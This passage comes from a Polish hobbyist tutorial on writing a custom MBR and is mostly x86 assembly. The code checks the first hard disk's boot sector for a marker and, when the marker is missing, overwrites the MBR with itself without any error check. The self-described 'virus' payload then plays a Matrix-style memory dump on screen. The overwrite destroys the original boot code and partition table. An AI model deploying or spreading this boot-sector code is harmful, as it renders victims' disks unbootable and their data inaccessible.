      MOV CX,0001h        ;numer sciezki i sektora do czytania

      MOV DX,0080h        ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego
      MOV BX,1000h
      MOV ES,BX
      XOR BX,BX
      MOV AX,0201h
      INT 13h             ;no to czytamy, przyjmujemy, ze nie bylo bledu

      
      MOV AH,BYTE [ES:BX+2]
      CMP AH,\'?\'
      JZ SHORT print_mem
    instal:               ;instalacja wirusa do MBR
      XOR BX,BX

      MOV ES,BX
      MOV BX,start
      MOV CX,0001h        ;numer sciezki i sektora do czytania
      MOV DX,0080h        ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego

      MOV AX,0301h
      INT 13h             ;no to zapisujemy, nie sprawdzamy czy byl blad.
    print_mem:            ;wlasciwe dzialanie \"wirusa\"

      XOR AX,AX
      MOV DS,AX
      MOV BX,0B800h       ;ustawiamy adres pamieci ekranu w BX
      MOV ES,BX           ;przenosimy go do ES

      XOR BX,BX
    start_print:
      PUSHA
      MOV CX,0FA0h
    move_ekran:           ;przesuniecie ekranu o 80 znakow od razu
      MOV BX,CX
      MOV AX,[ES:BX-50h]

      MOV [ES:BX],AX
      DEC CX
      LOOP move_ekran
    po_move_ekran:
      POPA
      PUSH CX             ;zachowujemy CX (sam nie wiem czy potrzebnie)

      MOV CX,0A0h
    start_load:
      MOV byte AL,[DS:BX] ;czytamy bajt z pamieci
      CMP AL,00h          ;sprawdzamy czy komorka zawiera 0, jesli tak wygenerujemy jakis znak aby bylo ladnie

      JNZ short po_random
    random:               ;stosunkowo prosty generator liczb losowych - nie byl matematycznie badany
      ADD DX,10111101B    ;powinien byc tez dosc szybki

      ADD DX,BX           ;dzieki dodawaniu adresu pamieci do niego, jego okres aperiodycznosci wydaje sie byc duzy
      ROR DX,04h

      MOV AL,DL
    po_random:
      MOV byte AH,0Ah
      PUSH BX
      MOV BX,0A0h
      SUB BX,CX
      MOV word [ES:BX],AX ;piszemy na ekran

      POP BX
      INC BX              ;przesuwamy sie po pamieci
      JNZ short dalej
      PUSH DS
      POP DX
      ADD DX,1000h        ;zmieniamy segment, ale tak, aby nie nachodzil na poprzedni

      PUSH DX
      POP DS
    dalej:
      DEC CX
      LOOP start_load
      POP CX
    wait_some:
      PUSHA               ;zachowujemy rejestry
      XOR CX,CX           ;licznik jest w CX:DX

      MOV DX,4586h        ;ustawiamy licznik na 17798(4586h) mikrosekund
      MOV AH,86h
      INT 15h             ;poczekajmy chwile aby animacja byla +/- plynna

      
      POPA                ;przywracamy stan rejestrow
      JMP short start_print
    
    times 510 - ($ - start) db 0    ; dope³nienie do 510 bajtów

    dw 0aa55h        ; znacznik

A tutaj jeszcze mały powrót do części pierwszej. Screen poniżej przedstawia menu przy starcie maszyny z dodanym "systemem" reprezentującym bootsector zapisany w pliku.


Przeczytaj:
ASM: pisanie własnego MBR cz.1
ASM: pisanie własnego MBR cz.2

Grafika pochodzi z Matrix code emulator